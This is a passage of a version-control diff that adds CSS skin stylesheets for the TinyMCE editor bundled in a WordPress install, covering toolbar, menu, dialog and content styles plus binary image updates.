.mceSplitButton a, .o2k7Skin .mceSplitButton span {display:block; height:22px} +.o2k7Skin .mceSplitButton {background:url(img/button_bg.png)} +.o2k7Skin .mceSplitButton a.mceAction {width:22px} +.o2k7Skin .mceSplitButton span.mceAction {width:22px; background:url(../../img/icons.gif) 20px 20px} +.o2k7Skin .mceSplitButton a.mceOpen {width:10px; background:url(img/button_bg.png) -44px 0} +.o2k7Skin .mceSplitButton span.mceOpen {display:none} +.o2k7Skin table.mceSplitButtonEnabled:hover a.mceAction, .o2k7Skin .mceSplitButtonHover a.mceAction, .o2k7Skin .mceSplitButtonSelected {background:url(img/button_bg.png) 0 -22px} +.o2k7Skin table.mceSplitButtonEnabled:hover a.mceOpen, .o2k7Skin .mceSplitButtonHover a.mceOpen, .o2k7Skin .mceSplitButtonSelected a.mceOpen {background-position:-44px -44px} +.o2k7Skin .mceSplitButtonDisabled .mceAction {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} +.o2k7Skin .mceSplitButtonActive {background-position:0 -44px} + +/* ColorSplitButton */ +.o2k7Skin div.mceColorSplitMenu table {background:#FFF; border:1px solid gray} +.o2k7Skin .mceColorSplitMenu td {padding:2px} +.o2k7Skin .mceColorSplitMenu a {display:block; width:9px; height:9px; overflow:hidden; border:1px solid #808080} +.o2k7Skin .mceColorSplitMenu td.mceMoreColors {padding:1px 3px 1px 1px} +.o2k7Skin .mceColorSplitMenu a.mceMoreColors {width:100%; height:auto; text-align:center; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; line-height:20px; border:1px solid #FFF} +.o2k7Skin .mceColorSplitMenu a.mceMoreColors:hover {border:1px solid #0A246A; background-color:#B6BDD2} +.o2k7Skin a.mceMoreColors:hover {border:1px solid #0A246A} +.o2k7Skin .mceColorPreview {margin-left:2px; width:16px; height:4px; overflow:hidden; background:#9a9b9a;overflow:hidden} +.o2k7Skin .mce_forecolor span.mceAction, .o2k7Skin .mce_backcolor span.mceAction {height:15px;overflow:hidden} + +/* Menu */ +.o2k7Skin .mceMenu {position:absolute; left:0; top:0; z-index:1000; border:1px solid #ABC6DD} +.o2k7Skin .mceNoIcons span.mceIcon {width:0;} +.o2k7Skin .mceNoIcons a .mceText {padding-left:10px} +.o2k7Skin .mceMenu table {background:#FFF} +.o2k7Skin .mceMenu a, .o2k7Skin .mceMenu span, .o2k7Skin .mceMenu {display:block} +.o2k7Skin .mceMenu td {height:20px} +.o2k7Skin .mceMenu a {position:relative;padding:3px 0 4px 0} +.o2k7Skin .mceMenu .mceText {position:relative; display:block; font-family:Tahoma,Verdana,Arial,Helvetica; color:#000; cursor:default; margin:0; padding:0 25px 0 25px; display:block} +.o2k7Skin .mceMenu span.mceText, .o2k7Skin .mceMenu .mcePreview {font-size:11px} +.o2k7Skin .mceMenu pre.mceText {font-family:Monospace} +.o2k7Skin .mceMenu .mceIcon {position:absolute; top:0; left:0; width:22px;} +.o2k7Skin .mceMenu .mceMenuItemEnabled a:hover, .o2k7Skin .mceMenu .mceMenuItemActive {background-color:#dbecf3} +.o2k7Skin td.mceMenuItemSeparator {background:#DDD; height:1px} +.o2k7Skin .mceMenuItemTitle a {border:0; background:#E5EFFD; border-bottom:1px solid #ABC6DD} +.o2k7Skin .mceMenuItemTitle span.mceText {color:#000; font-weight:bold; padding-left:4px} +.o2k7Skin .mceMenuItemDisabled .mceText {color:#888} +.o2k7Skin .mceMenuItemSelected .mceIcon {background:url(../default/img/menu_check.gif)} +.o2k7Skin .mceNoIcons .mceMenuItemSelected a {background:url(../default/img/menu_arrow.gif) no-repeat -6px center} +.o2k7Skin .mceMenu span.mceMenuLine {display:none} +.o2k7Skin .mceMenuItemSub a {background:url(../default/img/menu_arrow.gif) no-repeat top right;} + +/* Progress,Resize */ +.o2k7Skin .mceBlocker {position:absolute; left:0; top:0; z-index:1000; opacity:0.5; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=50); background:#FFF} +.o2k7Skin .mceProgress {position:absolute; left:0; top:0; z-index:1001; background:url(../default/img/progress.gif) no-repeat; width:32px; height:32px; margin:-16px 0 0 -16px} +.o2k7Skin .mcePlaceHolder {border:1px dotted gray} + +/* Formats */ +.o2k7Skin .mce_formatPreview a {font-size:10px} +.o2k7Skin .mce_p span.mceText {} +.o2k7Skin .mce_address span.mceText {font-style:italic} +.o2k7Skin .mce_pre span.mceText {font-family:monospace} +.o2k7Skin .mce_h1 span.mceText {font-weight:bolder; font-size: 2em} +.o2k7Skin .mce_h2 span.mceText {font-weight:bolder; font-size: 1.5em} +.o2k7Skin .mce_h3 span.mceText {font-weight:bolder; font-size: 1.17em} +.o2k7Skin .mce_h4 span.mceText {font-weight:bolder; font-size: 1em} +.o2k7Skin .mce_h5 span.mceText {font-weight:bolder; font-size: .83em} +.o2k7Skin .mce_h6 span.mceText {font-weight:bolder; font-size: .75em} + +/* Theme */ +.o2k7Skin span.mce_bold {background-position:0 0} +.o2k7Skin span.mce_italic {background-position:-60px 0} +.o2k7Skin span.mce_underline {background-position:-140px 0} +.o2k7Skin span.mce_strikethrough {background-position:-120px 0} +.o2k7Skin span.mce_undo {background-position:-160px 0} +.o2k7Skin span.mce_redo {background-position:-100px 0} +.o2k7Skin span.mce_cleanup {background-position:-40px 0} +.o2k7Skin span.mce_bullist {background-position:-20px 0} +.o2k7Skin span.mce_numlist {background-position:-80px 0} +.o2k7Skin span.mce_justifyleft {background-position:-460px 0} +.o2k7Skin span.mce_justifyright {background-position:-480px 0} +.o2k7Skin span.mce_justifycenter {background-position:-420px 0} +.o2k7Skin span.mce_justifyfull {background-position:-440px 0} +.o2k7Skin span.mce_anchor {background-position:-200px 0} +.o2k7Skin span.mce_indent {background-position:-400px 0} +.o2k7Skin span.mce_outdent {background-position:-540px 0} +.o2k7Skin span.mce_link {background-position:-500px 0} +.o2k7Skin span.mce_unlink {background-position:-640px 0} +.o2k7Skin span.mce_sub {background-position:-600px 0} +.o2k7Skin span.mce_sup {background-position:-620px 0} +.o2k7Skin span.mce_removeformat {background-position:-580px 0} +.o2k7Skin span.mce_newdocument {background-position:-520px 0} +.o2k7Skin span.mce_image {background-position:-380px 0} +.o2k7Skin span.mce_help {background-position:-340px 0} +.o2k7Skin span.mce_code {background-position:-260px 0} +.o2k7Skin span.mce_hr {background-position:-360px 0} +.o2k7Skin span.mce_visualaid {background-position:-660px 0} +.o2k7Skin span.mce_charmap {background-position:-240px 0} +.o2k7Skin span.mce_paste {background-position:-560px 0} +.o2k7Skin span.mce_copy {background-position:-700px 0} +.o2k7Skin span.mce_cut {background-position:-680px 0} +.o2k7Skin span.mce_blockquote {background-position:-220px 0} +.o2k7Skin .mce_forecolor span.mceAction {background-position:-720px 0} +.o2k7Skin .mce_backcolor span.mceAction {background-position:-760px 0} +.o2k7Skin span.mce_forecolorpicker {background-position:-720px 0} +.o2k7Skin span.mce_backcolorpicker {background-position:-760px 0} + +/* Plugins */ +.o2k7Skin span.mce_advhr {background-position:-0px -20px} +.o2k7Skin span.mce_ltr {background-position:-20px -20px} +.o2k7Skin span.mce_rtl {background-position:-40px -20px} +.o2k7Skin span.mce_emotions {background-position:-60px -20px} +.o2k7Skin span.mce_fullpage {background-position:-80px -20px} +.o2k7Skin span.mce_fullscreen {background-position:-100px -20px} +.o2k7Skin span.mce_iespell {background-position:-120px -20px} +.o2k7Skin span.mce_insertdate {background-position:-140px -20px} +.o2k7Skin span.mce_inserttime {background-position:-160px -20px} +.o2k7Skin span.mce_absolute {background-position:-180px -20px} +.o2k7Skin span.mce_backward {background-position:-200px -20px} +.o2k7Skin span.mce_forward {background-position:-220px -20px} +.o2k7Skin span.mce_insert_layer {background-position:-240px -20px} +.o2k7Skin span.mce_insertlayer {background-position:-260px -20px} +.o2k7Skin span.mce_movebackward {background-position:-280px -20px} +.o2k7Skin span.mce_moveforward {background-position:-300px -20px} +.o2k7Skin span.mce_media {background-position:-320px -20px} +.o2k7Skin span.mce_nonbreaking {background-position:-340px -20px} +.o2k7Skin span.mce_pastetext {background-position:-360px -20px} +.o2k7Skin span.mce_pasteword {background-position:-380px -20px} +.o2k7Skin span.mce_selectall {background-position:-400px -20px} +.o2k7Skin span.mce_preview {background-position:-420px -20px} +.o2k7Skin span.mce_print {background-position:-440px -20px} +.o2k7Skin span.mce_cancel {background-position:-460px -20px} +.o2k7Skin span.mce_save {background-position:-480px -20px} +.o2k7Skin span.mce_replace {background-position:-500px -20px} +.o2k7Skin span.mce_search {background-position:-520px -20px} +.o2k7Skin span.mce_styleprops {background-position:-560px -20px} +.o2k7Skin span.mce_table {background-position:-580px -20px} +.o2k7Skin span.mce_cell_props {background-position:-600px -20px} +.o2k7Skin span.mce_delete_table {background-position:-620px -20px} +.o2k7Skin span.mce_delete_col {background-position:-640px -20px} +.o2k7Skin span.mce_delete_row {background-position:-660px -20px} +.o2k7Skin span.mce_col_after {background-position:-680px -20px} +.o2k7Skin span.mce_col_before {background-position:-700px -20px} +.o2k7Skin span.mce_row_after {background-position:-720px -20px} +.o2k7Skin span.mce_row_before {background-position:-740px -20px} +.o2k7Skin span.mce_merge_cells {background-position:-760px -20px} +.o2k7Skin span.mce_table_props {background-position:-980px -20px} +.o2k7Skin span.mce_row_props {background-position:-780px -20px} +.o2k7Skin span.mce_split_cells {background-position:-800px -20px} +.o2k7Skin span.mce_template {background-position:-820px -20px} +.o2k7Skin span.mce_visualchars {background-position:-840px -20px} +.o2k7Skin span.mce_abbr {background-position:-860px -20px} +.o2k7Skin span.mce_acronym {background-position:-880px -20px} +.o2k7Skin span.mce_attribs {background-position:-900px -20px} +.o2k7Skin span.mce_cite {background-position:-920px -20px} +.o2k7Skin span.mce_del {background-position:-940px -20px} +.o2k7Skin span.mce_ins {background-position:-960px -20px} +.o2k7Skin span.mce_pagebreak {background-position:0 -40px} +.o2k7Skin .mce_spellchecker span.mceAction {background-position:-540px -20px} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/o2k7/ui_black.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/skins/o2k7/ui_black.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,8 @@ +/* Black */ +.o2k7SkinBlack .mceToolbar .mceToolbarStart span, .o2k7SkinBlack .mceToolbar .mceToolbarEnd span, .o2k7SkinBlack .mceButton, .o2k7SkinBlack .mceSplitButton, .o2k7SkinBlack .mceSeparator, .o2k7SkinBlack .mceSplitButton a.mceOpen, .o2k7SkinBlack .mceListBox a.mceOpen {background-image:url(img/button_bg_black.png)} +.o2k7SkinBlack table, .o2k7SkinBlack .mceMenuItemTitle a, .o2k7SkinBlack .mceMenuItemTitle span.mceText, .o2k7SkinBlack .mceStatusbar div, .o2k7SkinBlack .mceStatusbar span, .o2k7SkinBlack .mceStatusbar a {background:#535353; color:#FFF} +.o2k7SkinBlack table.mceListBoxEnabled .mceText, o2k7SkinBlack .mceListBox .mceText {background:#FFF; border:1px solid #CBCFD4; border-bottom-color:#989FA9; border-right:0} +.o2k7SkinBlack table.mceListBoxEnabled:hover .mceText, .o2k7SkinBlack .mceListBoxHover .mceText, .o2k7SkinBlack .mceListBoxSelected .mceText {background:#FFF; border:1px solid #FFBD69; border-right:0} +.o2k7SkinBlack .mceExternalToolbar, .o2k7SkinBlack .mceListBox .mceText, .o2k7SkinBlack div.mceMenu, .o2k7SkinBlack table.mceLayout, .o2k7SkinBlack .mceMenuItemTitle a, .o2k7SkinBlack table.mceLayout tr.mceFirst td, .o2k7SkinBlack table.mceLayout, .o2k7SkinBlack .mceMenuItemTitle a, .o2k7SkinBlack table.mceLayout tr.mceLast td, .o2k7SkinBlack .mceIframeContainer {border-color: #535353;} +.o2k7SkinBlack table.mceSplitButtonEnabled:hover a.mceAction, .o2k7SkinBlack .mceSplitButtonHover a.mceAction, .o2k7SkinBlack .mceSplitButtonSelected {background-image:url(img/button_bg_black.png)} +.o2k7SkinBlack .mceMenu .mceMenuItemEnabled a:hover, .o2k7SkinBlack .mceMenu .mceMenuItemActive {background-color:#FFE7A1} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/o2k7/ui_silver.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/skins/o2k7/ui_silver.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,5 @@ +/* Silver */ +.o2k7SkinSilver .mceToolbar .mceToolbarStart span, .o2k7SkinSilver .mceButton, .o2k7SkinSilver .mceSplitButton, .o2k7SkinSilver .mceSeparator, .o2k7SkinSilver .mceSplitButton a.mceOpen, .o2k7SkinSilver .mceListBox a.mceOpen {background-image:url(img/button_bg_silver.png)} +.o2k7SkinSilver table, .o2k7SkinSilver .mceMenuItemTitle a {background:#eee} +.o2k7SkinSilver .mceListBox .mceText {background:#FFF} +.o2k7SkinSilver .mceExternalToolbar, .o2k7SkinSilver .mceListBox .mceText, .o2k7SkinSilver div.mceMenu, .o2k7SkinSilver table.mceLayout, .o2k7SkinSilver .mceMenuItemTitle a, .o2k7SkinSilver table.mceLayout tr.mceFirst td, .o2k7SkinSilver table.mceLayout, .o2k7SkinSilver .mceMenuItemTitle a, .o2k7SkinSilver table.mceLayout tr.mceLast td, .o2k7SkinSilver .mceIframeContainer {border-color: #bbb} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/content.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/content.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,85 @@ +/* default styles */ +body {background:#FFF;} +body.mceForceColors {background:#FFF; color:#000;} +h1 {font-size: 2em} +h2 {font-size: 1.5em} +h3 {font-size: 1.17em} +h4 {font-size: 1em} +h5 {font-size: .83em} +h6 {font-size: .75em} +.mceItemTable, .mceItemTable td, .mceItemTable th, .mceItemTable caption, .mceItemVisualAid {border: 1px dashed #BBB;} +a.mceItemAnchor {width:12px; line-height:6px; overflow:hidden; padding-left:12px; background:url(../default/img/items.gif) no-repeat bottom left;} +img.mceItemAnchor {width:12px; height:12px; background:url(../default/img/items.gif) no-repeat;} +img {border:0;} +table {cursor:default} +table td, table th {cursor:text} +ins {border-bottom:1px solid green; text-decoration: none; color:green} +del {color:red; text-decoration:line-through} +cite {border-bottom:1px dashed blue} +acronym {border-bottom:1px dotted #CCC; cursor:help} +abbr, html\:abbr {border-bottom:1px dashed #CCC; cursor:help} + +/* WordPress styles */ +html { + background-color: #fff; +} + +.aligncenter, +dl.aligncenter { + display: block; + margin-left: auto; + margin-right: auto; +} + +.alignleft { + float: left; +} + +.alignright { + float: right; +} + +.wp-caption { + border: 1px solid #ddd; + text-align: center; + background-color: #f3f3f3; + padding-top: 4px; + margin: 10px; + -moz-border-radius: 3px; + -khtml-border-radius: 3px; + -webkit-border-radius: 3px; + border-radius: 3px; +} + +.wp-caption img { + margin: 0; + padding: 0; + border: 0 none; +} + +.wp-caption-dd { + font-size: 11px; + line-height: 17px; + padding: 0 4px 5px; + margin: 0; +} + +body.mceContentBody { + font: 13px/19px Georgia, "Times New Roman", "Bitstream Charter", Times, serif; + padding: 0.6em; + margin: 0; +} + +pre { + font: 12px/18px Consolas, Monaco, "Courier New", Courier, monospace; +} + +td { + color: #000; + font-size: 11px; + margin: 8px; +} + +.mceIEcenter { + text-align: center; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/dialog.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/dialog.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,117 @@ +/* Generic */ +body { +font-family:Verdana, Arial, Helvetica, sans-serif; font-size:11px; +background:#f1f1f1; +padding:0; +margin:8px 8px 0 8px; +} + +html {background:#f1f1f1;} +td {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} +textarea {resize:none;outline:none;} +a:link, a:visited {color:black;} +a:hover {color:#2B6FB6;} +.nowrap {white-space: nowrap} + +/* Forms */ +fieldset {margin:0; padding:4px; border:1px solid #dfdfdf; font-family:Verdana, Arial; font-size:10px;} +legend {color:#2B6FB6; font-weight:bold;} +label.msg {display:none;} +label.invalid {color:#EE0000; display:inline;} +input.invalid {border:1px solid #EE0000;} +input {background:#FFF; border:1px solid #dfdfdf;} +input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} +input, select, textarea {border:1px solid #dfdfdf;} +input.radio {border:1px none #000000; background:transparent; vertical-align:middle;} +input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;} +.input_noborder {border:0;} + +/* Buttons */ +#insert, #cancel, #apply, .mceActionPanel .button, input.mceButton, .updateButton { + border: 1px solid #bbb; + margin:0; + padding:0 0 1px; + font-weight:bold; + font-size: 11px; + width:94px; + height:24px; + background:url(img/fade-butt.png) 0 0; + color:#000; + cursor:pointer; + -moz-border-radius: 3px; + -khtml-border-radius: 3px; + -webkit-border-radius: 3px; + border-radius: 3px; +} +#insert:hover, #cancel:hover, input.mceButton:hover, .updateButton:hover, +#insert:focus, #cancel:focus, input.mceButton:focus, .updateButton:focus { + border: 1px solid #555; +} + +/* Browse */ +a.browse span {display:block; width:20px; height:18px; background:url(../../img/icons.gif) -860px 0; border:1px solid #FFF; margin-left:1px;} +.mceOldBoxModel a.browse span {width:22px; height:20px;} +a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;} +a.browse span.disabled {border:1px solid white; -moz-opacity:0.3; opacity:0.3; filter:progid:DXImageTransform.Microsoft.Alpha(opacity=30);} +a.browse:hover span.disabled {border:1px solid white; background-color:transparent;} +a.pickcolor span {display:block; width:20px; height:16px; background:url(../../img/icons.gif) -840px 0; margin-left:2px;} +.mceOldBoxModel a.pickcolor span {width:21px; height:17px;} +a.pickcolor:hover span {background-color:#B2BBD0;} +a.pickcolor, a.browse {text-decoration:none} + +/* Charmap */ +table.charmap {border:1px solid #AAA; text-align:center} +td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;} +#charmap a {display:block; color:#000; text-decoration:none; border:0} +#charmap a:hover {background:#CCC;color:#2B6FB6} +#charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center} +#charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center} +#charmap #charmapView {background-color:#fff;} + +/* Source */ +.wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;} +.mceActionPanel {margin-top:5px;} + +/* Tabs classes */ +.tabs {width:100%; height:18px; line-height:normal; background:url(img/tabs.gif) repeat-x 0 -72px;} +.tabs ul {margin:0; padding:0; list-style:none;} +.tabs li {float:left; background:url(img/tabs.gif) no-repeat 0 0; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block;} +.tabs li.current {background:url(img/tabs.gif) no-repeat 0 -18px; margin-right:2px;} +.tabs span {float:left; display:block; background:url(img/tabs.gif) no-repeat right -36px; padding:0px 10px 0 0;} +.tabs .current span {background:url(img/tabs.gif) no-repeat right -54px;} +.tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;} +.tabs a:link, .tabs a:visited, .tabs a:hover {color:black;} + +/* Panels */ +.panel_wrapper div.panel {display:none;} +.panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;} +.panel_wrapper {border:1px solid #919B9C; border-top:0px; padding:10px; padding-top:5px; clear:both; background:white;} + +/* Columns */ +.column {float:left;} +.properties {width:100%;} +.properties .column1 {} +.properties .column2 {text-align:left;} + +/* Titles */ +h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;} +h3 {font-size:14px;} +.title {font-size:12px; font-weight:bold; color:#2B6FB6;} + +/* Dialog specific */ +#link .panel_wrapper, #link div.current {height:125px;} +#image .panel_wrapper, #image div.current {height:200px;} +#plugintable thead {font-weight:bold; background:#DDD;} +#plugintable, #about #plugintable td {border:1px solid #919B9C;} +#plugintable {width:96%; margin-top:10px;} +#pluginscontainer {height:290px; overflow:auto;} +#colorpicker #preview {float:right; width:50px; height:14px;line-height:1px; border:1px solid black; margin-left:5px;} +#colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;} +#colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;} +#colorpicker #light div {overflow:hidden;} +#colorpicker #previewblock {float:right; padding-left:10px; height:20px;} +#colorpicker .panel_wrapper div.current {height:175px;} +#colorpicker #namedcolors {width:150px;} +#colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 0 0; overflow:hidden;} +#colorpicker #colornamecontainer {margin-top:5px;} +#colorpicker #picker_panel fieldset {margin:auto;width:325px;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/butt2.png Binary file web/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/butt2.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/button_bg.png Binary file web/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/button_bg.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/down_arrow.gif Binary file web/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/down_arrow.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/fade-butt.png Binary file web/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/fade-butt.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/separator.gif Binary file web/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/separator.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/tabs.gif Binary file web/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/tabs.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/ui.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/ui.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,380 @@ +/* Reset */ +.wp_themeSkin table, .wp_themeSkin tbody, .wp_themeSkin a, .wp_themeSkin img, .wp_themeSkin tr, .wp_themeSkin div, .wp_themeSkin td, .wp_themeSkin iframe, .wp_themeSkin span, .wp_themeSkin *, .wp_themeSkin .mceText { +border:0; margin:0; padding:0; white-space:nowrap; text-decoration:none; font-weight:normal; cursor:default; vertical-align:baseline; width:auto; border-collapse:separate; +} +.wp_themeSkin a:hover, .wp_themeSkin a:link, .wp_themeSkin a:visited, .wp_themeSkin a:active {text-decoration:none; font-weight:normal; cursor:default;} +.wp_themeSkin table td {vertical-align:middle} + +/* Containers */ +.wp_themeSkin table {} +.wp_themeSkin iframe {display:block;} +.wp_themeSkin .mceToolbar {padding: 2px;} + +/* External */ +.wp_themeSkin .mceExternalToolbar {position:absolute; border-bottom:0; display:none} +.wp_themeSkin .mceExternalToolbar td.mceToolbar {padding-right:13px;} +.wp_themeSkin .mceExternalClose {position:absolute; top:3px; right:3px; width:7px; height:7px; background:url(../../img/icons.gif) -820px 0} + +/* Layout */ +.wp_themeSkin table.mceToolbar, .wp_themeSkin tr.mceFirst .mceToolbar tr td, .wp_themeSkin tr.mceLast .mceToolbar tr td {border:0; margin:0; padding:0} +.wp_themeSkin table.mceLayout {border:0;} +.wp_themeSkin .mceIframeContainer {} +.wp_themeSkin .mceStatusbar { + display: block; + font-family: 'MS Sans Serif',sans-serif,Verdana,Arial; + font-size: 9pt; + line-height: 16px; + overflow: visible; + height: 20px; + border-top-width: 1px; + border-top-style: solid; +} +.wp_themeSkin .mceStatusbar div {float:left; padding:2px;} +.wp_themeSkin .mceStatusbar a.mceResize { + display: block; + float: right; + background: url(../../img/icons.gif) -800px 0; + width: 20px; + height: 20px; + cursor: se-resize +} +.wp_themeSkin .mceStatusbar a:hover {text-decoration:underline} +.wp_themeSkin table.mceToolbar {margin: 0 2px 2px;} +.wp_themeSkin #content_toolbar1 {margin-top: 2px;} +.wp_themeSkin .mceToolbar .mceToolbarEndListBox span {display:none} +.wp_themeSkin span.mceIcon, .wp_themeSkin img.mceIcon {display:block; width:20px; height:20px} +.wp_themeSkin .mceIcon {background:url(../../img/icons.gif) no-repeat 20px 20px} + +/* Button */ +.wp_themeSkin .mceButton { + display:block; + width: 20px; + height: 20px; + cursor: default; + padding: 1px 2px; + margin: 1px; + background-image: url(img/butt2.png); + background-position: left top; + background-repeat: repeat-x; + -moz-border-radius: 3px; + -webkit-border-radius: 3px; + -khtml-border-radius: 3px; + border-radius: 3px; +} +.wp_themeSkin a.mceButton span, .wp_themeSkin a.mceButton img {} +.wp_themeSkin .mceOldBoxModel a.mceButton span, .wp_themeSkin .mceOldBoxModel a.mceButton img {margin:0 0 0 1px} +.wp_themeSkin a.mceButtonEnabled:hover { + background-position:0 -10px; +} +.wp_themeSkin a.mceButtonActive, .wp_themeSkin a.mceButtonSelected { + background-image: inherit; +} +.wp_themeSkin .mceButtonDisabled .mceIcon {opacity:0.3; filter:alpha(opacity=30);} +.wp_themeSkin .mceButtonDisabled {} + +/* Separator */ +.wp_themeSkin .mceSeparator { + height: 24px; + width: 1px; + display: block; + background: transparent; + overflow: hidden; + margin: 0 2px; +} + +/* ListBox */ +.wp_themeSkin .mceListBox, .wp_themeSkin .mceListBox a {display:block} +.wp_themeSkin .mceListBox .mceText { + padding: 1px 2px 1px 5px; + text-align:left; + text-decoration: none !important; + width:70px; + background-image: url(img/butt2.png); + background-position: left top; + background-repeat: repeat-x; + font-family: Tahoma,Verdana,Arial,Helvetica; + font-size: 11px; + height: 20px; + line-height: 20px; + overflow: hidden; +} +.wp_themeSkin .mceListBox { + margin: 1px; + direction: ltr; +} +.wp_themeSkin .mceListBox .mceOpen { + width: 14px; + height: 20px; + border-collapse: separate; + background-image: url(img/butt2.png); + background-position: left top; + background-repeat: repeat-x; + padding: 1px; + border-left: 0 none !important; +} +.wp_themeSkin .mceListBox .mceOpen span { + display: block; + width:14px; + height:20px; + background-image: url(img/down_arrow.gif); + background-position: 2px 1px; + background-repeat: no-repeat; +} +.wp_themeSkin table.mceListBoxEnabled:hover .mceText, +.wp_themeSkin .mceListBoxHover .mceText, +.wp_themeSkin .mceListBoxSelected .mceText, +.wp_themeSkin table.mceListBoxEnabled:hover .mceOpen, +.wp_themeSkin .mceListBoxHover .mceOpen, +.wp_themeSkin .mceListBoxSelected .mceOpen { + background-image: none; +} +.wp_themeSkin .mceListBoxDisabled .mceText {color:gray} +.wp_themeSkin .mceListBoxMenu {overflow:auto; overflow-x:hidden} +.wp_themeSkin .mceOldBoxModel .mceListBox .mceText {height:22px} +.wp_themeSkin select.mceListBox {font-family:Tahoma,Verdana,Arial,Helvetica; font-size:12px;} + +/* SplitButton */ +.wp_themeSkin .mceSplitButton a, .wp_themeSkin .mceSplitButton span {display:block; height:20px} +.wp_themeSkin .mceSplitButton { + display:block; + margin: 1px; + direction: ltr; +} +.wp_themeSkin table.mceSplitButton td { + padding: 2px; + background-image: url(img/butt2.png); + background-position: left top; + background-repeat: repeat-x; +} +.wp_themeSkin .mceSplitButton a.mceAction { + height:20px; + width:20px; + padding: 1px 2px; +} +.wp_themeSkin .mceSplitButton span.mceAction { + background: url(../../img/icons.gif) 20px 20px; + width:20px; +} +.wp_themeSkin .mceSplitButton a.mceOpen { + width:10px; + height:20px; + background-image: url(img/down_arrow.gif); + background-position: 1px 2px; + background-repeat: no-repeat; + padding: 1px; + border-left: 0 none !important; +} +.wp_themeSkin .mceSplitButton span.mceOpen {display:none} +.wp_themeSkin .mceSplitButtonDisabled .mceAction { + opacity:0.3; filter:alpha(opacity=30); +} +.wp_themeSkin .mceListBox a.mceText, .wp_themeSkin .mceSplitButton a.mceAction { + -moz-border-radius-bottomleft: 3px; + -webkit-border-bottom-left-radius: 3px; + -khtml-border-bottom-left-radius: 3px; + border-bottom-left-radius: 3px; + -moz-border-radius-topleft: 3px; + -webkit-border-top-left-radius: 3px; + -khtml-border-top-left-radius: 3px; + border-top-left-radius: 3px; +} +.wp_themeSkin .mceSplitButton a.mceOpen, .wp_themeSkin .mceListBox a.mceOpen { + -moz-border-radius-bottomright: 3px; + -webkit-border-bottom-right-radius: 3px; + -khtml-border-bottom-right-radius: 3px; + border-bottom-right-radius: 3px; + -moz-border-radius-topright: 3px; + -webkit-border-top-right-radius: 3px; + -khtml-border-top-right-radius: 3px; + border-top-right-radius: 3px; +} + +/* ColorSplitButton */ +.wp_themeSkin div.mceColorSplitMenu table {} +.wp_themeSkin .mceColorSplitMenu td {padding:2px} +.wp_themeSkin .mceColorSplitMenu a {display:block; width:9px; height:9px; overflow:hidden;} +.wp_themeSkin .mceColorSplitMenu td.mceMoreColors {padding:1px 3px 1px 1px} +.wp_themeSkin .mceColorSplitMenu a.mceMoreColors {width:100%; height:auto; text-align:center; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; line-height:20px;} +.wp_themeSkin .mceColorSplitMenu a.mceMoreColors:hover {} +.wp_themeSkin a.mceMoreColors:hover {} +.wp_themeSkin 